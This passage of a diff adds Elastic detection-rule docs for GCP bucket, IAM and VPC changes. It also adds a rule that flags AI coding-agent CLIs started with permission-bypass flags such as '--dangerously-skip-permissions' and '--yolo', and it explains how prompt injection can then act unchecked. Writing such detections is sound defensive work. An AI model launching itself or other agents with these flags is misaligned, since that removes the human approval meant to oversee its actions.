T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-deletion.asciidoc new file mode 100644 index 0000000000..66010b5f2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-deletion.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-gcp-storage-bucket-deletion]] +=== GCP Storage Bucket Deletion + +Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/key-terms#buckets + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Deletion* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in cloud environments. Adversaries may target these buckets to delete critical data, causing operational disruptions. The detection rule monitors audit logs for deletion actions, identifying potential malicious activity by flagging events where storage buckets are removed, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "storage.buckets.delete" to identify the user or service account responsible for the deletion. +- Check the timestamp of the deletion event to determine when the bucket was deleted and correlate it with any other suspicious activities around that time. +- Investigate the IP address and location from which the deletion request originated to assess if it aligns with expected access patterns. +- Examine the permissions and roles assigned to the user or service account involved in the deletion to determine if they had legitimate access. +- Look for any recent changes in IAM policies or permissions that might have allowed unauthorized access to the storage bucket. +- Contact the relevant stakeholders or data owners to confirm if the deletion was authorized or if it was unexpected. + + +*False positive analysis* + + +- Routine maintenance or scheduled deletions by authorized personnel can trigger false positives. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or applications that manage storage lifecycle policies might delete buckets as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development or testing environments often involve frequent creation and deletion of storage buckets. Exclude these environments from monitoring by filtering based on project IDs or environment tags. +- Organizational policy changes that involve restructuring storage resources can lead to legitimate bucket deletions. Coordinate with relevant teams to update detection rules temporarily during such changes. + + +*Response and remediation* + + +- Immediately isolate the affected GCP project to prevent further unauthorized access or actions. This can be done by revoking access keys and permissions for any suspicious accounts identified in the audit logs. +- Restore the deleted storage bucket from the most recent backup to minimize data loss and operational disruption. Ensure that the backup is clean and free from any malicious alterations. +- Conduct a thorough review of IAM roles and permissions associated with the affected storage bucket to ensure that only authorized users have the necessary access. Implement the principle of least privilege. +- Enable versioning on critical storage buckets to protect against accidental or malicious deletions in the future, allowing for easier recovery of deleted objects. +- Set up alerts for any future deletion actions on storage buckets to ensure immediate awareness and response to similar threats. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were compromised. +- Document the incident, including actions taken and lessons learned, to improve response strategies and update incident response plans for future reference. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.buckets.delete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-permissions-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-permissions-modification.asciidoc new file mode 100644 index 0000000000..030b1771e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-storage-bucket-permissions-modification.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-gcp-storage-bucket-permissions-modification]] +=== GCP Storage Bucket Permissions Modification + +Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/access-control/iam-permissions + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Permissions Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. IAM permissions control access to these buckets, ensuring data security. Adversaries may alter these permissions to bypass security measures, leading to unauthorized data access or exposure. The detection rule identifies successful permission changes, signaling potential misuse or accidental misconfigurations, aiding in timely security audits and responses. + + +*Possible investigation steps* + + +- Review the event logs for the specific action "storage.setIamPermissions" to identify which IAM permissions were modified and by whom. +- Check the event.outcome field to confirm the success of the permission change and correlate it with any recent access attempts or data access patterns. +- Investigate the identity of the user or service account that performed the permission change to determine if it aligns with expected administrative activities. +- Assess the current IAM policy of the affected storage bucket to understand the new permissions and evaluate any potential security risks or exposure. +- Cross-reference the timing of the permission change with other security events or alerts to identify any suspicious activity or patterns. +- Consult with the bucket owner or relevant stakeholders to verify if the permission change was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine administrative updates to IAM permissions can trigger alerts. To manage this, create exceptions for known maintenance windows or specific administrative accounts that regularly perform these updates. +- Automated scripts or tools that adjust permissions as part of their normal operation may cause false positives. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made by trusted third-party services integrated with GCP might be flagged. Review and whitelist these services if they are verified and necessary for business operations. +- Temporary permission changes for troubleshooting or testing purposes can be mistaken for malicious activity. Document and schedule these changes, and exclude them from alerts during the specified timeframes. +- Permissions modified by cloud management platforms or orchestration tools should be reviewed. If these tools are part of standard operations, consider excluding their actions from the detection rule. + + +*Response and remediation* + + +- Immediately revoke any unauthorized IAM permissions changes by restoring the previous known good configuration for the affected GCP storage bucket. +- Conduct a thorough review of the IAM policy change logs to identify the source and nature of the modification, focusing on the user or service account responsible for the change. +- Isolate the affected storage bucket from external access until the permissions are verified and secured to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized changes and the steps taken to mitigate the risk. +- Implement additional monitoring on the affected storage bucket and related IAM policies to detect any further unauthorized changes or suspicious activities. +- Review and update IAM policies to ensure the principle of least privilege is enforced, reducing the risk of similar incidents in the future. +- If the incident is suspected to be part of a larger attack, escalate to incident response teams for a comprehensive investigation and potential involvement of law enforcement if necessary. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.setIamPermissions" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-network-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-network-deletion.asciidoc new file mode 100644 index 0000000000..72ebd9b873 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-network-deletion.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-gcp-virtual-private-cloud-network-deletion]] +=== GCP Virtual Private Cloud Network Deletion + +Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/vpc + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Network Deletion* + + +Google Cloud Platform's Virtual Private Cloud (VPC) networks are essential for managing isolated network environments within a project, encompassing subnets, routes, and firewalls. Adversaries may target VPC deletions to disrupt operations and evade defenses. The detection rule monitors audit logs for successful VPC deletions, flagging potential malicious activity by correlating specific event actions and outcomes. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action value "v*.compute.networks.delete" to identify the exact time and user account associated with the VPC network deletion. +- Check the event.outcome field to confirm the success of the deletion and correlate it with any other suspicious activities around the same timeframe. +- Investigate the user account or service account that performed the deletion to determine if it was authorized and if there are any signs of compromise or misuse. +- Examine the project and network configurations to assess the impact of the VPC deletion on the organization's operations and identify any critical resources that were affected. +- Look for any recent changes in IAM roles or permissions that might have allowed unauthorized users to delete the VPC network. +- Cross-reference the deletion event with other security alerts or incidents to identify potential patterns or coordinated attacks. + + +*False positive analysis* + + +- Routine maintenance activities may involve the deletion of VPC networks as part of infrastructure updates or reconfigurations. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for environment cleanup might trigger false positives if they delete VPC networks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags associated with these tools. +- Development and testing environments often undergo frequent changes, including VPC deletions. Consider excluding these environments from alerts by filtering based on project IDs or environment tags to reduce noise. +- Organizational policy changes might lead to the intentional deletion of VPC networks. Ensure that such policy-driven actions are documented and that the responsible teams are excluded from triggering alerts by using role-based access controls or specific user identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected project by restricting network access to prevent further unauthorized deletions or modifications. +- Review the audit logs to identify the source of the deletion request, including the user account and IP address, and verify if it was authorized. +- Recreate the deleted VPC network using the latest backup or configuration snapshot to restore network operations and minimize downtime. +- Implement additional access controls, such as multi-factor authentication and least privilege principles, to prevent unauthorized access to VPC management. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to Google Cloud Platform support if necessary, especially if there are indications of a broader compromise or if assistance is needed in recovery. +- Enhance monitoring and alerting for VPC-related activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:v*.compute.networks.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-creation.asciidoc new file mode 100644 index 0000000000..9785251be5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-creation.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-creation]] +=== GCP Virtual Private Cloud Route Creation + +Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Creation* + + +In Google Cloud Platform, VPC routes dictate the network paths for traffic from VM instances to various destinations, both within and outside the VPC. Adversaries may exploit this by creating routes to reroute or intercept traffic, potentially disrupting or spying on network communications. The detection rule identifies such activities by monitoring specific audit events related to route creation, aiding in the early detection of unauthorized network modifications. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action values (v*.compute.routes.insert or "beta.compute.routes.insert") to identify the exact time and user account associated with the route creation. +- Examine the details of the newly created route, including the destination IP range and next hop, to determine if it aligns with expected network configurations or if it appears suspicious. +- Check the IAM permissions and roles of the user account that created the route to assess if they had the necessary privileges and if those privileges are appropriate for their role. +- Investigate any recent changes in the environment that might explain the route creation, such as new deployments or changes in network architecture. +- Correlate the route creation event with other security events or alerts in the same timeframe to identify potential patterns or coordinated activities that could indicate malicious intent. +- Consult with the network or cloud infrastructure team to verify if the route creation was part of an authorized change or if it was unexpected. + + +*False positive analysis* + + +- Routine network configuration changes by authorized personnel can trigger alerts. To manage this, maintain a list of known IP addresses and users who frequently make legitimate changes and exclude their activities from triggering alerts. +- Automated deployment tools that create or modify routes as part of their normal operation may cause false positives. Identify these tools and their associated service accounts, then configure exceptions for these accounts in the monitoring system. +- Scheduled maintenance activities often involve creating or updating routes. Document these activities and set temporary exceptions during the maintenance window to prevent unnecessary alerts. +- Integration with third-party services might require route creation. Verify these integrations and whitelist the associated actions to avoid false positives. +- Development and testing environments may have frequent route changes. Consider applying different monitoring thresholds or rules for these environments to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected VM instances by removing or disabling the suspicious route to prevent further unauthorized traffic redirection. +- Conduct a thorough review of recent route creation activities in the GCP environment to identify any other unauthorized or suspicious routes. +- Revoke any unauthorized access or permissions that may have allowed the adversary to create the route, focusing on IAM roles and service accounts with route creation privileges. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement network monitoring and logging to detect any future unauthorized route creation attempts, ensuring that alerts are configured for similar activities. +- Review and update the GCP VPC network security policies to enforce stricter controls on route creation and modification, limiting these actions to trusted administrators only. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any additional security measures or advisories. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(v*.compute.routes.insert or "beta.compute.routes.insert") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-deletion.asciidoc new file mode 100644 index 0000000000..99f7dfc3e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-deletion.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-gcp-virtual-private-cloud-route-deletion]] +=== GCP Virtual Private Cloud Route Deletion + +Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/routes +* https://cloud.google.com/vpc/docs/using-routes + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Virtual Private Cloud Route Deletion* + + +In GCP, VPC routes dictate network traffic paths between VM instances and other destinations. Adversaries may delete these routes to disrupt traffic flow, potentially evading defenses or impairing network operations. The detection rule monitors audit logs for successful route deletions, flagging potential misuse by identifying specific actions linked to route removal, thus aiding in timely threat response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit and event.action:v*.compute.routes.delete to identify the exact time and user account associated with the route deletion. +- Check the event.outcome:success field to confirm the deletion was successful and not an attempted action. +- Investigate the user account or service account that performed the deletion to determine if it was authorized to make such changes, including reviewing recent activity and permissions. +- Assess the impact of the route deletion by identifying which VPC and network traffic paths were affected, and determine if any critical services were disrupted. +- Correlate the route deletion event with other security events or alerts around the same timeframe to identify potential coordinated actions or broader attack patterns. +- Contact the relevant stakeholders or system owners to verify if the route deletion was intentional and part of a planned change or if it was unauthorized. + + +*False positive analysis* + + +- Routine maintenance activities by network administrators can trigger route deletions. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for network configuration updates may delete and recreate routes as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts. +- Cloud infrastructure changes during deployment processes might involve temporary route deletions. Document these processes and exclude related events from detection during deployment periods. +- Scheduled network reconfigurations that involve route deletions should be logged and excluded from alerts by correlating with change management records. +- Test environments often undergo frequent network changes, including route deletions. Exclude events from test environments by filtering based on project or environment tags. + + +*Response and remediation* + + +- Immediately isolate the affected VPC to prevent further unauthorized network traffic disruptions. This can be done by temporarily disabling external access or applying restrictive firewall rules. +- Review the audit logs to identify the user or service account responsible for the route deletion. Verify if the action was authorized and investigate any anomalies in user behavior or access patterns. +- Restore the deleted route using the latest backup or configuration management tools to re-establish normal network traffic flow. Ensure that the restored route aligns with the intended network architecture. +- Implement additional access controls and monitoring for the affected VPC, such as enabling more granular IAM roles and setting up alerts for any future route modifications. +- Conduct a security review of the affected environment to identify any other potential misconfigurations or vulnerabilities that could be exploited in a similar manner. +- Escalate the incident to the security operations team for further investigation and to determine if the route deletion was part of a larger attack campaign. +- Document the incident, including the root cause analysis and remediation steps taken, to enhance organizational knowledge and improve future incident response efforts. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-cli-started-with-unsafe-permission-bypass.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-cli-started-with-unsafe-permission-bypass.asciidoc new file mode 100644 index 0000000000..4e56b0e0be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-cli-started-with-unsafe-permission-bypass.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-genai-cli-started-with-unsafe-permission-bypass]] +=== GenAI CLI Started with Unsafe Permission Bypass + +Identifies GenAI agent CLIs started with permission-bypass or auto-approval flags that disable human-in-the-loop guardrails. These modes are intended for isolated sandboxes but are frequently misused on internet-connected developer workstations, allowing prompt injection, compromised dependencies, or malicious skills to execute commands, modify files, or reach sensitive paths without confirmation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://code.claude.com/docs/en/permission-modes +* https://developers.openai.com/codex/cli/reference +* https://developers.openai.com/codex/agent-approvals-security +* https://google-gemini.github.io/gemini-cli/docs/get-started/configuration.html +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI CLI Started with Unsafe Permission Bypass* + + +GenAI coding agents normally prompt before running shell commands or editing files. Vendor-supplied bypass flags remove +those controls entirely or auto-approve all tool calls. On a networked host this materially increases blast radius from +prompt injection, poisoned MCP servers, malicious project configs, and autonomous agent workflows. + + +*Possible investigation steps* + + +- Identify which GenAI tool and bypass flag were used from `process.command_line` and `process.executable`. +- Determine whether the session was intentional (CI/CD, isolated lab VM) or an interactive developer workstation. +- Review child processes spawned after startup for credential access, network exfiltration, or persistence. +- Check for recent GenAI config changes (MCP servers, skills, `.claude/settings.json`, `~/.codex/config.toml`). +- Correlate with other GenAI-related alerts on the same host and user. + + +*False positive analysis* + + +- Deliberate use in approved sandbox/CI images with no outbound network access. +- Internal automation scripts that wrap GenAI CLIs with bypass flags; scope exceptions by host or user group. +- Each matching process start produces one alert; habitual bypass use in CI or developer workflows may need host or user exceptions. + + +*Response and remediation* + + +- Remove bypass flags from scripts, shell profiles, and CI job definitions; use default or plan-only permission modes. +- Rotate API keys and cloud credentials accessible to the user account that ran the agent. +- Audit GenAI tool configs and MCP servers loaded during the session. +- Restrict GenAI agent usage policies to disallow permission bypass on production endpoints. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "start") and +( + ( + process.args in ( + "--dangerously-skip-permissions", + "--allow-dangerously-skip-permissions", + "--permission-mode=bypassPermissions" + ) or + (process.args == "--permission-mode" and process.args == "bypassPermissions") + ) and + ( + process.name in ("claude", "claude.exe") or + process.executable : ( + "*/.local/share/claude/versions/*", + "*/.claude/downloads/*", + "*Caskroom/claude-code/*", + "*\\Claude\\versions\\*" + ) or + (process.name in ("node", "node.exe") and process.args : "*@anthropic-ai/claude-code*") + ) +) or +( + ( + process.args in ("--dangerously-bypass-approvals-and-sandbox", "--full-auto", "--yolo") or + process.command_line : ( + "* -s danger-full-access*", + "*--sandbox danger-full-access*", + "*--sandbox=danger-full-access*", + "*--ask-for-approval never*", + "*--ask-for-approval=never*" + ) + ) and + ( + process.name in ( + "codex", "codex.exe", "codex-exec", + "codex-aarch64-apple-darwin", "codex-x86_64-apple-darwin", + "codex-linux-arm64", "codex-linux-x64" + ) or + (process.name in ("node", "node.exe") and process.args : ("*@openai/codex*", "*/codex", "*\\codex*")) + ) +) or +( + ( + process.args in ("--yolo", "-y") or + (process.args == "--approval-mode" and process.args == "yolo") or + process.args == "--approval-mode=yolo" + ) and + ( + process.name in ("gemini", "gemini-cli", "gemini.exe", "gemini-cli.exe") or + (process.name in ("node", "node.exe") and process.args : ("*@google/gemini-cli*", "*/gemini", "*\\gemini*")) + ) +) or +( + ( + process.args in ( + "--yolo", + "--autopilot", + "--allow-all", + "--allow-all-tools", + "--allow-all-paths", + "--allow-all-urls" + ) + ) and + ( + process.name in ("copilot", "copilot.exe") or + (process.name in ("node", "node.exe") and process.args : ("*@github/copilot*", "*/copilot", "*\\copilot*")) + ) +) or +( + process.args == "--dangerously-skip-permissions" and + ( + process.name in ("opencode", "opencode.exe", ".opencode") or + process.executable : ("*opencode-ai*", "*\\.opencode*") or + (process.name in ("node", "node.exe") and process.args : ("*opencode-ai*", "*/opencode", "*\\opencode*")) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git 